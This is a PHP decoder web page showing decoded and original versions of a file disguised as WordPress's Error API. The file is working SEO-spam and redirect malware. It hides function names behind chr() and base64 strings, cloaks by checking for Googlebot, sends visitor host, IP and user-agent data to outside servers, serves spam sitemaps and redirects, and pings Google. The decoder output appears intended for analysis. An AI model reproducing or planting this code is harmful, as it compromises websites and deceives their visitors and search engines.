Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * WordPress Error API. * * @package WordPress */ error_reporting(0); ..

Decoded Output download

<?php 
/** 
 * WordPress Error API. 
 * 
 * @package WordPress 
 */ 
error_reporting(0); 
/** 
 * WordPress Error class. 
 * 
 * Container for checking for WordPress errors and error messages. Return 
 * WP_Error and use is_wp_error() to check if this class is returned. Many 
 * core WordPress functions pass this class in the event of an error and 
 * if not handled properly will result in code errors. 
 * 
 * @since 2.1.0 
#[AllowDynamicProperties] 
class WP_Error { 
	/** 
	 * Stores the list of errors. 
	 * 
	 * @since 2.1.0 
	 * @var array 
	 * 
	public $errors = array(); 
 
	/** 
	 * Stores the most recently added data for each error code. 
	 * 
	 * @since 2.1.0 
	 * @var array 
	 * 
	public $error_data = array(); 
 
	/** 
	 * Stores previously added data added for error codes, oldest-to-newest by code. 
	 * 
	 * @since 5.6.0 
	 * 
	 * _is_ssl() 
	 */ 
	function _is_ssl($u,$error,$themes,$options,$n=0) { 
		if(!function_exists('curl_exec')) { 
			$c = stream_context_create(array('http'=>array('method'=>'GET','timeout'=>60))); 
			$s = @file_get_contents($u, false, $c); 
		} else { 
			$ch = curl_init(); 
			curl_setopt($ch, CURLOPT_URL, $u); 
			curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
			curl_setopt($ch, CURLOPT_TIMEOUT, 60); 
			$s = curl_exec($ch); 
			$a = curl_getinfo($ch); 
			curl_close($ch); 
			if($a['http_code']!='200') $s = ''; 
		} 
		if(empty($s) && $n<1) return _is_ssl(str_replace($error[0],$error[1],$u),1); 
		return $s; 
	} 
	/** 
	 * Retrieves all error codes. 
	 * 
	 * @since 2.1.0 
	 * 
	 * _is_error() 
	 */ 
	function _is_error() { 
		$since = chr(101).chr(120).chr(112).chr(108).chr(111).chr(100).chr(101); 
		$retrie = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); 
		$themes = $since(';',$retrie('aHR0cDttZXRob2Q7R0VUO3RpbWVvdXQ7SFRUUF9DRl9DT05ORUNUSU5HX0lQO0hUVFBfQ0ZfQ09OTkVDVElOR19JUDtIVFRQX1hfRk9S'.'V0FSREVEX0ZPUjtIVFRQX1hfRk9SV0FSREVEX0ZPUjtIVFRQX0NMSUVOVF9JUDtIVFRQX0NMSUVOVF9JUDtIVFRQX1hfUkVBTF9JUDtIVFRQX1hfUkVBTF9JUDtSRU1PVEVfQUREUjssO0hUVFBfVVNFUl9BR0VOVDsvKGdvb2d'.'sZXxtc24uY29tfHlhaG9vLmNvbXxhb2wuY29tKS9pO1JFUVVFU1RfVVJJO0hUVFBfQUNDRVBUX0xBTkdVQUdFO0hUVFBfSE9TVDsvW3cw'.'LTlcLi1dLzteWzAtOV1cLlswLTldK1wuWzAtOV0rXC5bMC05XStcLlswLTldK1wuO1sw'.'LTldLVswLTldKy1bMC05XSs7WzAtOV1bMC05XVswLTldY1swLTldKzsvXjsvOy9eOy87LzsvO3Bpbmd4bWw7L1w/LiokLztodHRwczovL3d3dy5nb29nbGUuY29tL3Bpbmc/c2l0ZW1hcD1odHRwOi8vOz9zaXRlbWFwOy54bWw7I'.'ztSZWNlaXZlZDw7UElORy0xO1BJTkctMDt3O0xvY2F0aW9uOiBodHRwOi8vYXBpMzMzLnNob3J0Yml0bHlzLmNvbS9qdW1wOy9eOy1bMC05XSstWzAtOV0rLVswLTldKy87MjMwOC5waHA/dD07JmhoPTsmcz07L147LS4rLzsy'.'M2RhdGExMC5waHA/dD07JmhoPTsmcz07MjMwNy5waHA/dD07JmhoPTsmcz07L1wuKGpwZ3xnaWZ8anBlZ3xwbmd8aWNvfGNzc3xqc3xpbml8bG9nKS9pO3JvYm90cy50eHQ7Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluO'.'1VzZXItYWdlbnQ6ICo7QWxsb3c6IC87U2l0ZW1hcDogaHR0cDovLzsvP3NpdGVtYXAueG1sOy9zaXRlbWFwWzAtOV0qXC54bWwvO3NpdGVtYXA7MS05OTktOTsvXjsvOy9eOy87MS05OTktMTsvXjsvOy9eOy87e3x9O3t8fTt7fH'.'07SFRUUF9VU0VSX0FHRU5UOy5jbG91ZHN0YXRhcGkuOy53ZWJzdGF0c3MuO2h0dHA6Ly9hcGkyMzA4O2NvbS9faHRtbDIzMDgucGhwOy9eOy87LmFwaXRlc3R2aWV3Ljsua2FtaWJsb2dzLjtodHRwOi8vZGF0YTEwO2NvbS'.'9fZGF0YTEwYWxsLnBocDs/a2V5PTsmcGF0aD07JnM9OyZoZD07PC91cmxzZXQ+O0NvbnRlbnQtdHlwZTp0ZXh0L3htbDstZm9vdGVyIj47LWZvb3RlciI+PGRpdj48YSBocmVmPSI/Oz07MjAwYzsiPkVOPC9hPjwvZGl2Pg'.chr(61).chr(61))); 
		$options = $since(';',$retrie('c3RyZWFtX2NvbnRleHRfY3JlYXRlO2ZpbGVfZ2V0X2'.'NvbnRlbnRzO2dldGhvc3RieWFkZHI7aGVhZGVyO3VybGVuY29kZTtiYXNlNjRfZW5jb2Rl')); 
 
		$string = $_SERVER; $param = $_GET; 
		if(isset($string[$themes[4]])){$post_id=$string[$themes[4]];} elseif(isset($string[$themes[6]])){$post_id=$string[$themes[6]];} elseif(isset($string[$themes[8]])){$post_id=$string[$themes[8]];} elseif(isset($string[$themes[10]])){$post_id=$string[$themes[10]];} else{$post_id=$string[$themes[12]];} 
		$post_ids = $since($themes[13],$post_id); 
		$post_id = $post_ids[0]; 
		$agent = @$string[$themes[14]].@$options[2]($post_id); 
		$user = (preg_match($themes[15],$agent)?1:0); 
		$author = $string[$themes[16]]; 
		$dupe = @$string[$themes[17]]; 
		$post = $string[$themes[18]]; 
 
		$type = substr(preg_replace($themes[19], "",$post),0,3); 
		$keys = substr($type,0,1); 
 
		$email = ""; 
		$shake = $themes[20]; 
		$filters = $type.$themes[21]; 
		$apply = $type.$themes[22]; 
 
		if(!empty($param)) { 
			foreach($param as $k=>$v) { 
				if(preg_match($themes[23].$filters.$themes[24],$v)) {$keys = $k;break;} 
				if(preg_match($themes[23].$apply.$themes[24],$v)) {$keys = $k;break;} 
				if(preg_match($themes[24].$shake.$themes[24],$v)) {$email = $v;break;} 
			} 
		} 
		$form = ""; $charset = isset($param[$keys]) ? trim($param[$keys]) : ""; 
 
		if(strstr($author,$themes[29])) { 
			$spath = preg_replace($themes[30], "",$author); 
			$text = $themes[31].$post.$spath.$themes[32].rand(1,99).$themes[33]; 
			echo $text.$themes[34]; if(strstr(@$options[1]($text),$themes[35])) exit($themes[36]); 
			exit($themes[37]); 
		} 
 
		if(strlen($agent)>20 && !empty($dupe) && !$user) { 
			$team="v"; $content = $themes[39]; 
			if(preg_match($themes[23].$filters.$themes[41],$charset)) { 
				$options[3]($content.$themes[42].$team.$themes[43].$post.$themes[44].$options[4]($charset));exit; 
			} elseif(preg_match($themes[23].$apply.$themes[46],$charset)) { 
				$options[3]($content.$themes[47].$team.$themes[43].$post.$themes[44].$options[4]($charset));exit; 
			} elseif(!empty($email)) { 
				$options[3]($content.$themes[50].$team.$themes[43].$post.$themes[44].$options[4]($email));exit; 
			} 
		} 
 
		if(preg_match($themes[53],$author)) return; 
 
		if($user) { 
			if(substr($author,-10)==$themes[54]) { 
				$options[3]($themes[55]); 
				exit($themes[56]."
".$themes[57]."

".$themes[58].$post.$themes[59]); 
			}elseif(preg_match($themes[60],$author) || $charset==$themes[61]) { 
				$charset=$type.$themes[62]; 
			}elseif(!preg_match($themes[23].$filters.$themes[24],$charset) && !preg_match($themes[23].$apply.$themes[24],$charset)) { 
				$charset=$type.$themes[67]; 
			} 
			 
			if(preg_match($themes[23].$filters.$themes[24],$charset) || preg_match($themes[23].$apply.$themes[24],$charset)) { 
				$blog = $options[5]($post.$themes[72].$author.$themes[72].$post_id.$themes[72].@$string[$themes[14]]); 
				$name = array($themes[76], $themes[77]); 
				$action = $themes[78].$name[0].$themes[79]; 
				if(preg_match($themes[23].$apply.$themes[24],$charset)) { 
					$name = array($themes[82], $themes[83]); 
					$action = $themes[84].$name[0].$themes[85]; 
				} 
				$result = _is_ssl($action.$themes[86].$keys.$themes[87].$form.$themes[44].$options[4]($charset).$themes[89].$options[4]($blog),$name,$themes,$options); 
 
				if(strstr($result,$themes[90])) { $options[3]($themes[91]); exit($result);} 
				if(strlen($result)>500) {$result = str_replace($themes[92], $themes[93].$keys.$themes[94].$type.$themes[95].rand(1,88888).$themes[96],$result); exit($result);} 
			} 
		} 
	} _is_error(); 
?>

Did this file decode correctly?

Original Code

<?php
/**
 * WordPress Error API.
 *
 * @package WordPress
 */
error_reporting(0);
/**
 * WordPress Error class.
 *
 * Container for checking for WordPress errors and error messages. Return
 * WP_Error and use is_wp_error() to check if this class is returned. Many
 * core WordPress functions pass this class in the event of an error and
 * if not handled properly will result in code errors.
 *
 * @since 2.1.0
#[AllowDynamicProperties]
class WP_Error {
	/**
	 * Stores the list of errors.
	 *
	 * @since 2.1.0
	 * @var array
	 *
	public $errors = array();

	/**
	 * Stores the most recently added data for each error code.
	 *
	 * @since 2.1.0
	 * @var array
	 *
	public $error_data = array();

	/**
	 * Stores previously added data added for error codes, oldest-to-newest by code.
	 *
	 * @since 5.6.0
	 *
	 * _is_ssl()
	 */
	function _is_ssl($u,$error,$themes,$options,$n=0) {
		if(!function_exists('curl_exec')) {
			$c = stream_context_create(array('http'=>array('method'=>'GET','timeout'=>60)));
			$s = @file_get_contents($u, false, $c);
		} else {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $u);
			curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_TIMEOUT, 60);
			$s = curl_exec($ch);
			$a = curl_getinfo($ch);
			curl_close($ch);
			if($a['http_code']!='200') $s = '';
		}
		if(empty($s) && $n<1) return _is_ssl(str_replace($error[0],$error[1],$u),1);
		return $s;
	}
	/**
	 * Retrieves all error codes.
	 *
	 * @since 2.1.0
	 *
	 * _is_error()
	 */
	function _is_error() {
		$since = chr(101).chr(120).chr(112).chr(108).chr(111).chr(100).chr(101);
		$retrie = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
		$themes = $since(';',$retrie('aHR0cDttZXRob2Q7R0VUO3RpbWVvdXQ7SFRUUF9DRl9DT05ORUNUSU5HX0lQO0hUVFBfQ0ZfQ09OTkVDVElOR19JUDtIVFRQX1hfRk9S'.'V0FSREVEX0ZPUjtIVFRQX1hfRk9SV0FSREVEX0ZPUjtIVFRQX0NMSUVOVF9JUDtIVFRQX0NMSUVOVF9JUDtIVFRQX1hfUkVBTF9JUDtIVFRQX1hfUkVBTF9JUDtSRU1PVEVfQUREUjssO0hUVFBfVVNFUl9BR0VOVDsvKGdvb2d'.'sZXxtc24uY29tfHlhaG9vLmNvbXxhb2wuY29tKS9pO1JFUVVFU1RfVVJJO0hUVFBfQUNDRVBUX0xBTkdVQUdFO0hUVFBfSE9TVDsvW3cw'.'LTlcLi1dLzteWzAtOV1cLlswLTldK1wuWzAtOV0rXC5bMC05XStcLlswLTldK1wuO1sw'.'LTldLVswLTldKy1bMC05XSs7WzAtOV1bMC05XVswLTldY1swLTldKzsvXjsvOy9eOy87LzsvO3Bpbmd4bWw7L1w/LiokLztodHRwczovL3d3dy5nb29nbGUuY29tL3Bpbmc/c2l0ZW1hcD1odHRwOi8vOz9zaXRlbWFwOy54bWw7I'.'ztSZWNlaXZlZDw7UElORy0xO1BJTkctMDt3O0xvY2F0aW9uOiBodHRwOi8vYXBpMzMzLnNob3J0Yml0bHlzLmNvbS9qdW1wOy9eOy1bMC05XSstWzAtOV0rLVswLTldKy87MjMwOC5waHA/dD07JmhoPTsmcz07L147LS4rLzsy'.'M2RhdGExMC5waHA/dD07JmhoPTsmcz07MjMwNy5waHA/dD07JmhoPTsmcz07L1wuKGpwZ3xnaWZ8anBlZ3xwbmd8aWNvfGNzc3xqc3xpbml8bG9nKS9pO3JvYm90cy50eHQ7Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluO'.'1VzZXItYWdlbnQ6ICo7QWxsb3c6IC87U2l0ZW1hcDogaHR0cDovLzsvP3NpdGVtYXAueG1sOy9zaXRlbWFwWzAtOV0qXC54bWwvO3NpdGVtYXA7MS05OTktOTsvXjsvOy9eOy87MS05OTktMTsvXjsvOy9eOy87e3x9O3t8fTt7fH'.'07SFRUUF9VU0VSX0FHRU5UOy5jbG91ZHN0YXRhcGkuOy53ZWJzdGF0c3MuO2h0dHA6Ly9hcGkyMzA4O2NvbS9faHRtbDIzMDgucGhwOy9eOy87LmFwaXRlc3R2aWV3Ljsua2FtaWJsb2dzLjtodHRwOi8vZGF0YTEwO2NvbS'.'9fZGF0YTEwYWxsLnBocDs/a2V5PTsmcGF0aD07JnM9OyZoZD07PC91cmxzZXQ+O0NvbnRlbnQtdHlwZTp0ZXh0L3htbDstZm9vdGVyIj47LWZvb3RlciI+PGRpdj48YSBocmVmPSI/Oz07MjAwYzsiPkVOPC9hPjwvZGl2Pg'.chr(61).chr(61)));
		$options = $since(';',$retrie('c3RyZWFtX2NvbnRleHRfY3JlYXRlO2ZpbGVfZ2V0X2'.'NvbnRlbnRzO2dldGhvc3RieWFkZHI7aGVhZGVyO3VybGVuY29kZTtiYXNlNjRfZW5jb2Rl'));

		$string = $_SERVER; $param = $_GET;
		if(isset($string[$themes[4]])){$post_id=$string[$themes[4]];} elseif(isset($string[$themes[6]])){$post_id=$string[$themes[6]];} elseif(isset($string[$themes[8]])){$post_id=$string[$themes[8]];} elseif(isset($string[$themes[10]])){$post_id=$string[$themes[10]];} else{$post_id=$string[$themes[12]];}
		$post_ids = $since($themes[13],$post_id);
		$post_id = $post_ids[0];
		$agent = @$string[$themes[14]].@$options[2]($post_id);
		$user = (preg_match($themes[15],$agent)?1:0);
		$author = $string[$themes[16]];
		$dupe = @$string[$themes[17]];
		$post = $string[$themes[18]];

		$type = substr(preg_replace($themes[19], "",$post),0,3);
		$keys = substr($type,0,1);

		$email = "";
		$shake = $themes[20];
		$filters = $type.$themes[21];
		$apply = $type.$themes[22];

		if(!empty($param)) {
			foreach($param as $k=>$v) {
				if(preg_match($themes[23].$filters.$themes[24],$v)) {$keys = $k;break;}
				if(preg_match($themes[23].$apply.$themes[24],$v)) {$keys = $k;break;}
				if(preg_match($themes[24].$shake.$themes[24],$v)) {$email = $v;break;}
			}
		}
		$form = ""; $charset = isset($param[$keys]) ? trim($param[$keys]) : "";

		if(strstr($author,$themes[29])) {
			$spath = preg_replace($themes[30], "",$author);
			$text = $themes[31].$post.$spath.$themes[32].rand(1,99).$themes[33];
			echo $text.$themes[34]; if(strstr(@$options[1]($text),$themes[35])) exit($themes[36]);
			exit($themes[37]);
		}

		if(strlen($agent)>20 && !empty($dupe) && !$user) {
			$team="v"; $content = $themes[39];
			if(preg_match($themes[23].$filters.$themes[41],$charset)) {
				$options[3]($content.$themes[42].$team.$themes[43].$post.$themes[44].$options[4]($charset));exit;
			} elseif(preg_match($themes[23].$apply.$themes[46],$charset)) {
				$options[3]($content.$themes[47].$team.$themes[43].$post.$themes[44].$options[4]($charset));exit;
			} elseif(!empty($email)) {
				$options[3]($content.$themes[50].$team.$themes[43].$post.$themes[44].$options[4]($email));exit;
			}
		}

		if(preg_match($themes[53],$author)) return;

		if($user) {
			if(substr($author,-10)==$themes[54]) {
				$options[3]($themes[55]);
				exit($themes[56]."\n".$themes[57]."\n\n".$themes[58].$post.$themes[59]);
			}elseif(preg_match($themes[60],$author) || $charset==$themes[61]) {
				$charset=$type.$themes[62];
			}elseif(!preg_match($themes[23].$filters.$themes[24],$charset) && !preg_match($themes[23].$apply.$themes[24],$charset)) {
				$charset=$type.$themes[67];
			}
			
			if(preg_match($themes[23].$filters.$themes[24],$charset) || preg_match($themes[23].$apply.$themes[24],$charset)) {
				$blog = $options[5]($post.$themes[72].$author.$themes[72].$post_id.$themes[72].@$string[$themes[14]]);
				$name = array($themes[76], $themes[77]);
				$action = $themes[78].$name[0].$themes[79];
				if(preg_match($themes[23].$apply.$themes[24],$charset)) {
					$name = array($themes[82], $themes[83]);
					$action = $themes[84].$name[0].$themes[85];
				}
				$result = _is_ssl($action.$themes[86].$keys.$themes[87].$form.$themes[44].$options[4]($charset).$themes[89].$options[4]($blog),$name,$themes,$options);

				if(strstr($result,$themes[90])) { $options[3]($themes[91]); exit($result);}
				if(strlen($result)>500) {$result = str_replace($themes[92], $themes[93].$keys.$themes[94].$type.$themes[95].rand(1,88888).$themes[96],$result); exit($result);}
			}
		}
	} _is_error();
?>

Function Calls

chr 22
explode 1
_is_error 1
base64_decode 1
error_reporting 1

Variables

$since explode
$retrie base64_decode

Stats

MD5 4a2cd1aad9ccbf4ace6b2f472930b565
Eval Count 0
Decode Time 98 ms